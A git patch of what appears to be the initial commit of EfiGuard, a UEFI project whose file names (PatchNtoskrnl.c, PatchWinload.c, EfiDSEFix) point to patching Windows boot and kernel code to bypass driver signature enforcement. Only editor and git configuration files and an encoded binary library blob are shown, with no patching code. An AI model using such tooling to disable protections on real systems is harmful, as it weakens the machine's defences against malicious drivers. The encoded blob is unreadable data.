From 0be8f445b64ab36e086bd7e3a2913fdd147bd00f Mon Sep 17 00:00:00 2001 From: Mattiwatti Date: Mon, 25 Mar 2019 20:56:43 +0100 Subject: [PATCH] Initial commit --- .editorconfig | 13 + .gitignore | 29 + .gitmodules | 4 + Application/EfiDSEFix/lib/x64/ntdllp.lib | Bin 0 -> 444096 bytes Application/EfiDSEFix/lib/x86/ntdllp.lib | Bin 0 -> 485602 bytes Application/EfiDSEFix/src/EfiCompat.h | 29 + Application/EfiDSEFix/src/EfiDSEFix.cpp | 419 + .../EfiDSEFix/src/EfiDSEFix.exe.manifest | 19 + Application/EfiDSEFix/src/EfiDSEFix.h | 255 + Application/EfiDSEFix/src/EfiDSEFix.vcxproj | 100 + .../EfiDSEFix/src/EfiDSEFix.vcxproj.filters | 64 + Application/EfiDSEFix/src/hde/hde64.c | 338 + Application/EfiDSEFix/src/hde/hde64.h | 112 + Application/EfiDSEFix/src/hde/table64.h | 76 + Application/EfiDSEFix/src/main.cpp | 245 + Application/EfiDSEFix/src/ntdll.h | 9918 +++++++++++++++++ Application/EfiDSEFix/src/pe.cpp | 165 + Application/EfiDSEFix/src/resource.rc | 19 + Application/EfiDSEFix/src/sysinfo.cpp | 114 + Application/Loader/Loader.c | 653 ++ Application/Loader/Loader.inf | 64 + Application/Loader/Loader.vcxproj | 40 + Application/Loader/Loader.vcxproj.filters | 26 + EfiGuard.props | 84 + EfiGuard.sln | 27 + EfiGuardDxe/EfiGuardDxe.c | 639 ++ EfiGuardDxe/EfiGuardDxe.h | 223 + EfiGuardDxe/EfiGuardDxe.inf | 85 + EfiGuardDxe/EfiGuardDxe.vcxproj | 96 + EfiGuardDxe/EfiGuardDxe.vcxproj.filters | 200 + EfiGuardDxe/PatchBootmgr.c | 372 + EfiGuardDxe/PatchNtoskrnl.c | 661 ++ EfiGuardDxe/PatchWinload.c | 683 ++ EfiGuardDxe/VisualUefi.c | 108 + EfiGuardDxe/Zydis | 1 + EfiGuardDxe/arc.h | 1317 +++ EfiGuardDxe/ntdef.h | 80 + EfiGuardDxe/pe.c | 502 + EfiGuardDxe/pe.h | 252 + EfiGuardDxe/util.c | 380 + EfiGuardDxe/util.h | 120 + EfiGuardPkg.dec | 18 + EfiGuardPkg.dsc | 94 + Include/Protocol/EfiGuard.h | 135 + LICENSE | 674 ++ Misc/BSOD.png | Bin 0 -> 3293 bytes Misc/EfiGuard.png | Bin 0 -> 24954 bytes Misc/Win7SecureBoot.png | Bin 0 -> 14419 bytes README.md | 88 + 49 files changed, 19541 insertions(+) create mode 100644 .editorconfig create mode 100644 .gitignore create mode 100644 .gitmodules create mode 100644 Application/EfiDSEFix/lib/x64/ntdllp.lib create mode 100644 Application/EfiDSEFix/lib/x86/ntdllp.lib create mode 100644 Application/EfiDSEFix/src/EfiCompat.h create mode 100644 Application/EfiDSEFix/src/EfiDSEFix.cpp create mode 100644 Application/EfiDSEFix/src/EfiDSEFix.exe.manifest create mode 100644 Application/EfiDSEFix/src/EfiDSEFix.h create mode 100644 Application/EfiDSEFix/src/EfiDSEFix.vcxproj create mode 100644 Application/EfiDSEFix/src/EfiDSEFix.vcxproj.filters create mode 100644 Application/EfiDSEFix/src/hde/hde64.c create mode 100644 Application/EfiDSEFix/src/hde/hde64.h create mode 100644 Application/EfiDSEFix/src/hde/table64.h create mode 100644 Application/EfiDSEFix/src/main.cpp create mode 100644 Application/EfiDSEFix/src/ntdll.h create mode 100644 Application/EfiDSEFix/src/pe.cpp create mode 100644 Application/EfiDSEFix/src/resource.rc create mode 100644 Application/EfiDSEFix/src/sysinfo.cpp create mode 100644 Application/Loader/Loader.c create mode 100644 Application/Loader/Loader.inf create mode 100644 Application/Loader/Loader.vcxproj create mode 100644 Application/Loader/Loader.vcxproj.filters create mode 100644 EfiGuard.props create mode 100644 EfiGuard.sln create mode 100644 EfiGuardDxe/EfiGuardDxe.c create mode 100644 EfiGuardDxe/EfiGuardDxe.h create mode 100644 EfiGuardDxe/EfiGuardDxe.inf create mode 100644 EfiGuardDxe/EfiGuardDxe.vcxproj create mode 100644 EfiGuardDxe/EfiGuardDxe.vcxproj.filters create mode 100644 EfiGuardDxe/PatchBootmgr.c create mode 100644 EfiGuardDxe/PatchNtoskrnl.c create mode 100644 EfiGuardDxe/PatchWinload.c create mode 100644 EfiGuardDxe/VisualUefi.c create mode 160000 EfiGuardDxe/Zydis create mode 100644 EfiGuardDxe/arc.h create mode 100644 EfiGuardDxe/ntdef.h create mode 100644 EfiGuardDxe/pe.c create mode 100644 EfiGuardDxe/pe.h create mode 100644 EfiGuardDxe/util.c create mode 100644 EfiGuardDxe/util.h create mode 100644 EfiGuardPkg.dec create mode 100644 EfiGuardPkg.dsc create mode 100644 Include/Protocol/EfiGuard.h create mode 100644 LICENSE create mode 100644 Misc/BSOD.png create mode 100644 Misc/EfiGuard.png create mode 100644 Misc/Win7SecureBoot.png create mode 100644 README.md diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..d3ff753 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,13 @@ +# Sorry if this conflicts with your preferred editorconfig, this file is only +# really here to fix Github's insane default of 8 spaces wide tab characters +# +# https://github.com/isaacs/github/issues/170 +# https://github.com/isaacs/github/issues/1490 + +[*.{c,cpp,cc,cxx,h,hpp,rc,manifest,asm,nasm,s,inc}] +charset = utf-8 +end_of_line = crlf +indent_style = tab +indent_size = 4 +trim_trailing_whitespace = true +insert_final_newline = true diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..86def90 --- /dev/null +++ b/.gitignore @@ -0,0 +1,29 @@ +# Directories +bin/ +obj/ +ipch/ +Win32/ +x86/ +x64/ +Debug/ +Release/ +Misc/ +.svn/ +.hg/ +.vs/ + +# File types +*.dll +*.exe +*.sys +*.efi +*.pdb +*.lnk +*.aps +*.sdf +*.user +*.obj +*.opensdf +*.suo +*.VC.db +*.VC.opendb diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..9405189 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,4 @@ +[submodule "EfiGuardDxe/Zydis"] + path = EfiGuardDxe/Zydis + url = https://github.com/zyantific/zydis.git + branch = master diff --git a/Application/EfiDSEFix/lib/x64/ntdllp.lib b/Application/EfiDSEFix/lib/x64/ntdllp.lib new file mode 100644 index 0000000000000000000000000000000000000000..a4227df279f85070db54a450075eba97e215718d GIT binary patch literal 444096 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 